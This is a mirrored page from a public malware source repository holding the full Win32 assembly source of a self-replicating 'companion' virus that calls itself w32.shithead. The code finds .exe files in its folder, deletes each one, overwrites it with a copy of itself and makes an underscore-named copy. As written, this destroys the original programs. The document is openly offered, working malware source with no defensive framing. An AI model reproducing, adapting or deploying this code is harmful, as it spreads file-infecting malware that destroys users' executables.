mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 03:58:34 +00:00
112 lines
1.9 KiB
NASM
112 lines
1.9 KiB
NASM
.386P
|
|
Locals
|
|
jumps
|
|
|
|
.Model Flat ,StdCall
|
|
|
|
;Simple win32 companion Self Replicating Automation
|
|
;Jheronimus Bolch - Meta Informatic Syndrome Patients
|
|
;code is shit but it's simple-hope so....
|
|
extrn ExitProcess : PROC
|
|
extrn GetCommandLineA : PROC
|
|
extrn MessageBoxA : PROC
|
|
extrn MoveFileA:PROC
|
|
extrn FindFirstFileA:Proc
|
|
extrn FindNextFileA:Proc
|
|
extrn CopyFileA:PROC
|
|
extrn DeleteFileA:PROC
|
|
|
|
|
|
.Data
|
|
|
|
text db "bU-hahahaahahahaha",13,10 ;
|
|
db "The companion is getting alive...",0
|
|
|
|
|
|
caption db "Hell0",0
|
|
keimeno db "simple companion w32 virus",13,10
|
|
"basically for assembly coding practice",13,10
|
|
"Hope you'll enjoy the code...",13,10
|
|
"w32.shithead",13,10
|
|
"by Jack Daniels",0
|
|
psaxnogia db "*.exe",0
|
|
|
|
search_handle dd 0
|
|
|
|
myname db 40h dup (0)
|
|
newname db 40h dup (0)
|
|
search_data db 318 dup (0)
|
|
.Code
|
|
Main:
|
|
call GetCommandLineA
|
|
mov ecx,0
|
|
jampo:
|
|
mov bl,byte ptr[eax+1]
|
|
mov byte ptr[myname+ecx],bl
|
|
inc eax
|
|
inc ecx
|
|
cmp bl,22h
|
|
jne jampo
|
|
dec ecx
|
|
mov byte ptr[myname+ecx],0
|
|
|
|
|
|
push offset search_data
|
|
push offset psaxnogia
|
|
|
|
call FindFirstFileA
|
|
|
|
cmp eax,-1
|
|
je exit
|
|
mov search_handle,eax
|
|
call infect
|
|
more:
|
|
|
|
|
|
mov eax,[search_handle]
|
|
push offset search_data
|
|
push eax
|
|
|
|
|
|
call FindNextFileA
|
|
cmp eax,0
|
|
je exit
|
|
cmp byte ptr[search_data+44],"_"
|
|
je exit
|
|
|
|
call infect
|
|
jmp more
|
|
|
|
infect:
|
|
mov ecx,0
|
|
mov byte ptr[newname+ecx],"_"
|
|
newnamecreation:
|
|
inc ecx
|
|
mov bl,byte ptr[search_data+44+ecx-1]
|
|
mov byte ptr[newname+ecx],bl
|
|
cmp bl,0
|
|
jne newnamecreation
|
|
push 0
|
|
push offset caption
|
|
push offset newname
|
|
push 0
|
|
call MessageBoxA
|
|
push offset [search_data+44]
|
|
call DeleteFileA
|
|
push 1h
|
|
push offset [search_data+44]
|
|
push offset myname
|
|
call CopyFileA
|
|
|
|
push 1h
|
|
push offset newname
|
|
push offset [search_data+44]
|
|
call CopyFileA
|
|
ret
|
|
|
|
exit:
|
|
CALL ExitProcess
|
|
|
|
|
|
End Main
|